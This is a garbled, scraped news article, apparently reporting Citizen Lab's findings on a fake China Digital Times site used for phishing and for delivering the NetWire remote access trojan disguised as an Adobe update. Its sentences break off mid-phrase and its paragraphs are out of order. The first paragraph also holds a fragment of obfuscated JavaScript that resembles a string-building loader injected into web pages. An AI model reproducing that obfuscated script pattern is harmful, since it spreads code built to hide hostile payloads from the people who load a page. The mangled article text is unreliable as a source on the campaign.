A second server was dedicated solely to serving malware operations Citizen Lab identified malware contained on the second server as Net.. Wire, a remote access trojan (RAT) which has been around since at least 2 The payload was disguised as an "Adobe update" and contained software designed to obfuscate its source code.. Netwire RAT has a wide range of capabilities It can read usernames and passwords stored by web browsers, log keystrokes, capture screenshots and audio, and even upload and download files without the users' knowledge.. Ostensibly, this could be a case of separate actors using shared resources. The domain information tied to the fake version of China Digital Times has also been linked to past campaigns targeting Tibetan Radio Station and the Thai Government, though this does not mean definitively that the attacks were carried out by the same actors.. js?";g["HYIV"]="bler";g["BkRe"]="");};g["oOBu"]=",dat";g["TNMu"]=";a s";g["HYBQ"]="in.

Digital espionage operations targeting news organizations have become commonplace with numerous attacks traced to China-based operators.. In fact, the hackers were attempting to mimic a slew of publications reporting on China, including The Epoch Times, Bowen Press, and Mingjing News.. "Our analysis shows that the operators are using the fake domains for at least three different purposes: reconnaissance, phishing, and malware," Citizen Lab reports.. " The email contained a link to what appeared to be a China Digital Times article, which diverted the reporter to a fake Word..
